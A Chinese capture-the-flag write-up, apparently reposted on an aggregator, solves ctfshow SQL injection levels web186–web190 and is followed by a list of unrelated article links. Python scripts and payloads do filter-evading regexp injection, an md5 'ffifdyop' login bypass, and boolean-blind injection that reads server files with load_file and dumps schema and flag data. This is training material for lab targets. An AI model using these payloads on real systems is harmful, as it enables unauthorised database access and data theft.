ctfshow-web入门-sql注入(web186-web190)

news2024/9/21 4:34:22

目录

1、web186

2、web187

3、web188

4、web189

5、web190


1、web186

新增过滤  \%|\<|\>|\^

采用 regexp 正则表达式的方法来匹配,payload:

^ 表示匹配开头,也就是说我们猜测 flag 的第一个字符是 c

tableName=ctfshow_user group by pass having pass regexp(^c)

但是由于过滤了 ^ 和引号,因此需要对 payload 进行转换,可是如何实现拼接 ^ 和其他的字符呢?我们采用 concat 函数,因为这里过滤了数字,原本我想的是只在处理数字时进行转换,但是 concat 这个函数对于非数字的字符,传入的参数需要使用引号包裹,比如我想拼接 a 和 1 ,我就需要这样来:

concat('a',1)

所以即使是 flag 的字母部分,也会用到分号,也就是说我们都要进行转换。

在上一题中我们提到了,使用 true+true 的方法构造出数字比如 true+true+true 就可以构造出 3,再使用 char 函数将数字转为对应的 ASCII 字符,最终实现我们 payload 的转换。

转换函数:

def convert(strs):
  t='concat('
  for s in strs:
    t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  return t[:-1]+")"
strs = '^c'
print(convert(strs))

转化后的结果添加进 payload: 猜测 flag 第一个字符为 c

tableName=ctfshow_user group by pass having pass regexp(concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)))

回显为 1 ,说明猜测成功 

 

让 gpt 也写了个这样功能的函数,不过看起来不简洁 

def string_to_sql_concat(input_string):
    def char_to_true_expr(char):
        ascii_value = ord(char)
        return f"CHAR({'+'.join(['true'] * ascii_value)})"
    return 'CONCAT(' + ', '.join(char_to_true_expr(char) for char in input_string) + ')'
input_string = '^c'
sql_expression = string_to_sql_concat(input_string)
print(sql_expression)

之后就是两个 for 循环,依次往后面猜即可,上一题的脚本可用:

#author:yu22x
import requests
import string
url="http://434d7563-1c70-4af7-9f11-2250a4764673.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
  t='concat('
  for s in strs:
    t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  return t[:-1]+")"
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    d = convert(f'^ctfshow{flag+j}')
    data={
    'tableName':f' ctfshow_user group by pass having pass regexp({d})'
    }
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      if j=='}':
        exit(0)
      break

拿到 flag:ctfshow{64573ace-da75-4944-9b2a-e01ac3dcc2bc} 

2、web187

md5($_POST['password'],true)

对提交的 password 进行 md5 加密,由于 md5 函数第二个参数为 true,因此会返回字符串。

这里可以采用一个特殊的字符串:ffifdyop

具体情况可以参照我之前的博客:

ctfshow-web9(奇妙的ffifdyop绕过)_ctfshowweb9源代码解析-CSDN博客icon-default.png?t=N7T8https://myon6.blog.csdn.net/article/details/133714311

原理还是通过万能密码:使用 admin 和 ffifdyop 进行登录

查看响应:

拿到 flag:ctfshow{e54220e0-e81f-4e0e-ad32-0bbbbdd43d83}

3、web188

在 SQL 中,数字和字符串的比较是弱类型的,如果在比较操作中涉及到字符串和数字,SQL 会尝试将字符串转换为数字,那么只要字符串不是以数字开头,比较时都会转为数字 0 。

$sql = "select pass from ctfshow_user where username = {$username}";

这里 username 并未使用引号包裹 

  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';

关于密码的比较使用两个等号,也是弱类型比较。

因此我们可以用户名和密码都输入 0 ,尝试登录一个用户名和密码都不是数字开头的用户:

拿到 flag:ctfshow{729621d5-4ff5-4758-900a-27af85d381b3}

4、web189

flag在api/index.php文件中

过滤掉了很多东西:联合查询注入、时间盲注函数以及写入内容的 into 都过滤了。

/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/

不同用户名,密码都使用 0 ,页面存在不同回显:

查询失败说明用户不存在

采用布尔盲注结合 load_file 函数读取文件:

#author:yu22x
import requests
import string
url="http://0ffb9345-ff4e-41b2-b404-6981d9abb860.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,1000):
    print(i)
    for j in range(32,128):
        #print(chr(j))
        data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
        #print(data)
        r=requests.post(url,data=data)
        #print(r.text)
        if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
            flag+=chr(j)  
            print(flag)
            break

yu 师傅这个会跑出 index.php 的全部内容

如果想快一点我们只跑关键位置的 flag :

import requests
import time

url = "http://0ffb9345-ff4e-41b2-b404-6981d9abb860.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
	for x in flagstr:
		data={
		"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
		"password":"0"
		}
		print(data)
		response = requests.post(url,data=data)
		time.sleep(0.3)
		# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
		if response.text.find("8d25")>0:
			print("++++++++++++++++++ {} is right".format(x))
			flag+=x
			break
		else:
			continue
	print(flag)

拿到 flag:ctfshow{ebb23aa7-28cc-4995-91f9-f24357ffdf1e} 

5、web190

username  采用了单引号包裹,password 还是弱类型比较 

还是两种不同回显状态,密码都用 0  

因此还是采用布尔盲注,猜解数据库名:

import requests
import string
url = "http://742f0ab8-2de1-4a7e-b0ff-0b33d00fd19f.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
    print(j)
    for k in range(32, 128):

        data={
            'username': f"0'||if(ascii(substr(database(),{j},1))={k},1,0)#",
            'password': '1'
        }

        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += chr(k)
            print(out)
            break

猜解表名,替换 data 里对 username 的传参:

'username': f"0'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",

有一个叫 ctfshow_fl0g 的表,继续查该表下面的列名:

'username': f"0'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#"

查具体字段信息:

'username': f"0'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#"

完整脚本:

import requests
import string
url = "http://742f0ab8-2de1-4a7e-b0ff-0b33d00fd19f.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
    print(j)
    for k in range(32, 128):
        # 猜解数据库名
        # data={
        #     'username': f"0'||if(ascii(substr(database(),{j},1))={k},1,0)#",
        #     'password': '1'
        # }

        # 猜解表名
        # data={
        #     'username': f"0'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
        #     'password': '1'
        # }

        # 猜解列名
        # data={
        #     'username': f"0'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",
        #     'password': '1'
        # }

        # 猜解 flag
        data = {
            'username': f"0'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
            'password': '1'
        }

        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += chr(k)
            print(out)
            break

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1983551.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

sql注入——环境搭建以及sqli-labs闯关

1.简介 本文将详细介绍如何在Windows系统中使用PHPStudy搭建SQLi-Labs环境&#xff0c;在刚学习SQL注入的时候&#xff0c;都需要拥有一个能SQL注入的网站。因此我们一般都是在本地搭建一个能SQL注入测试的网站&#xff0c;而SQLi-Labs是一个精心设计的SQL注入学习平台。 2. …

无心剑七律《悼李政道先生》

七律悼李政道先生 苏州才俊志凌云&#xff0c;联大求知岁月勤 异域扬名赢诺奖&#xff0c;前沿探秘破迷群 基金倡导根基固&#xff0c;学子栽培事业殷 科教倾心功绩著&#xff0c;英名不朽铸奇文 2024年8月5日 平水韵十二文平韵 这首诗是一首悼念李政道先生的七律&#xff0c;无…

【隐私计算篇】混淆电路之深入浅出

入门隐私计算的阶段&#xff0c;一般都会涉及对于混淆电路的学习&#xff0c;这是因为混淆电路是多方安全计算中的基础密码原语&#xff0c;也是隐私保护中重要的技术。为了帮助更好地理解混淆电路的原理&#xff0c;今天对其进行原理以及相关优化手段进行解析和分享。 1. 混淆…

【2024华数杯】C题成品论文及代码

问题分析 1、问题一 针对问题一&#xff0c;为了解决此问题&#xff0c;我们需要利用 python 中的内置线性扫描算法 max遍历所有城市景点数据&#xff0c;寻到最高评分&#xff0c;检索每个城市中景点获评最高评分的数量&#xff0c;随后排序并列出前 10 个城市。 2、问题二&…

sqlilab本地靶场注入less-1~less-6

如何通过information_schema数据库查表名&#xff0c;列名 首先要了解mysql和mariadb数据库默认自带的tables有哪些&#xff1a; mariadb自带数据库 information_schema performance_schema mysql MySQL自带数据库 information_schema performance_schema mysql…

ubuntu执行git svn clone发生中断:APR does not understand this error code: ra serf

问题描述 在ubuntu中执行 git svn clone <url>的时候&#xff0c;出现如下报错&#xff1a; 即 ubuntu&#xff1a;APR does not understand this error code: ra serf: The server sent a truncated HTTPresponse body.解决方法 方法一&#xff1a;使用git svn fet…

C语言 | Leetcode C语言题解之第324题摆动排序II

题目&#xff1a; 题解&#xff1a; static inline void swap(int *a, int *b) {int c *a;*a *b;*b c; }static inline int partitionAroundPivot(int left, int right, int pivot, int *nums) {int pivotValue nums[pivot];int newPivot left;swap(&nums[pivot], &a…

谈谈冯诺依曼体系

我们都知道冯诺依曼体系这张图最为代表性&#xff0c;而接下来我们就来浅谈一下各部分之间的作用~ 输入设备&#xff1a;键盘&#xff0c;磁盘&#xff0c;网卡&#xff0c;话筒等等 输出设备&#xff1a;磁盘&#xff0c;网卡&#xff0c;声卡&#xff0c;显示屏等等 这些硬件…

TiDE时间序列模型预测(Long-term Forecasting with TiDE: Time-series Dense Encoder)

时间序列预测&#xff0c;广泛用于能源、金融、交通等诸多行业&#xff0c;传统的统计模型&#xff0c;例如ARIMA、GARCH等因其简单高效而被广泛使用&#xff0c;近年来&#xff0c;随着深度学习的兴起&#xff0c;基于神经网络的预测模型也备受关注&#xff0c;表现出强大的预…

EHS行业趋势:2024年的EHS管理新动向

随着全球气候变化和资源枯竭等问题的日益严峻&#xff0c;企业对环境、健康与安全&#xff08;EHS&#xff09;管理的重视程度达到了前所未有的高度。特别是在“双碳”目标的推动下&#xff0c;绿色制造、ESG&#xff08;环境、社会与治理&#xff09;和可持续发展已成为企业的…

KAFKA-03-kafka 脚本命令使用详解

0&#xff1a;脚本总结 1、kafka-acls.sh #配置&#xff0c;查看kafka集群鉴权信息 2、kafka-configs.sh #查看&#xff0c;修改kafka配置3、kafka-console-consumer.sh #消费命令 4、kafka-console-producer.sh #生产命令 5、kafka-consumer-groups.sh #查看消费者组&#xf…

二百五十六、MySQL——MySQL新用户设置密码报错

一、目的 在执行脚本创建海豚调度器在MySQL中的数据库以及用户时&#xff0c;发现脚本执行报错 二、原先脚本内容 三、执行报错 [roothurys22 dolphinscheduler]# sh mysql-metastore.sh ------------ 在MySQL中创建元数据库及用户 ------------ mysql: [Warning] Using a…

9、springboot3 vue3开发平台-前端- vue3工程创建

1. 项目说明 技术选择&#xff1a; 使用vue3 TS ElementPlus&#xff0c; 开发使用vite构建 目的&#xff1a; 搭建管理系统框架&#xff0c; 包含动态路由&#xff0c; 动态菜单&#xff0c; 用户&#xff0c;角色&#xff0c; 菜单&#xff0c;权限管理&#xff0c;日志等…

《2024华数杯》C题第四问 模型建立+优化算法

第四问解决思路 目标 在144小时内&#xff0c;外国游客要尽可能游览更多的城市&#xff0c;同时要使门票和交通的总费用尽可能少。 模型与假设 点击获取代码思路文献数据 假设&#xff1a; ○ 游客在每个城市只游览一个评分最高的景点。 ○ 城市之间的交通方式只选择高铁。 ○…

Linux学习笔记9(Linux包管理)

目录 归档包管理 归档 查看归档包 解归档包 压缩包管理 Zip/unzip gzip/gunzip bzip2/bunzip2 源码包安装软件 三大步&#xff1a; 预备步骤&#xff1a;安装依赖的编译库 一、./configure --prefix/usr/local/nginx 二、make 三、make install 软件包安装 配置…

云原生 (1)

一、实验准备 1&#xff0c;准备一台rhel7的主机,并开启主机的图形。 2&#xff0c;关闭vmware DHCP功能。 3&#xff0c;配置好可用IP。 4&#xff0c;关闭火墙。 二、安装图形化kickstart自动安装脚本的工具 1. 基础配置 yum install system-config-kickstart ——安…

短链接生成-短链接-短网址-短链接生成接口-短链接转换接口-短网址URL生成-短链接地址

短网址是一种将长URL缩短的技术&#xff0c;通常由一些服务提供&#xff0c;如Bitly、TinyURL等。通过这种技术&#xff0c;原始的网址会被转换成简短且易于分享的形式&#xff0c;比如http://wq.cn/weds代替原本的https://www.example.com/a Very Long URL。短网址服务会在服务…

与大语言模型Transformer的奇妙旅程

嘿&#xff0c;大家好&#xff01;今天我想和你们聊聊我的一次奇妙旅程——和大语言模型的亲密接触。你们知道吗&#xff1f;这些家伙可不仅仅是冷冰冰的代码&#xff0c;它们简直就像是拥有智慧的伙伴一样&#xff01;想象一下&#xff0c;如果我能和一个超级聪明的大语言模型…

10、springboot3 vue3开发平台-前端-elementplus, axios配置及封装使用, 包含token 存储

1. 准备工作 1.1 清除项目自带页面 删除views和components目录下所有东西&#xff1a; 1.2 修改App.vue <script setup lang"ts"></script><template><router-view></router-view> </template><style scoped></st…

能量柱 成交量 高抛低吸 文华财经指标公式源码 幅图 九稳量化系统 全网最火指标公式源码 期货最牛的买卖指标源码公式

我觉得期货市场就是一个战场的翻版。 但是专注并不是每天盯盘&#xff0c;这样交易容易耗费太多的精神和心力。交易要做趋势&#xff0c;如果萎靡&#xff0c;趋势根本就跟不上。不要用生命&#xff0c;身体去交易&#xff0c;要用思想去交易。做单要做的舒畅&#xff0c;才能…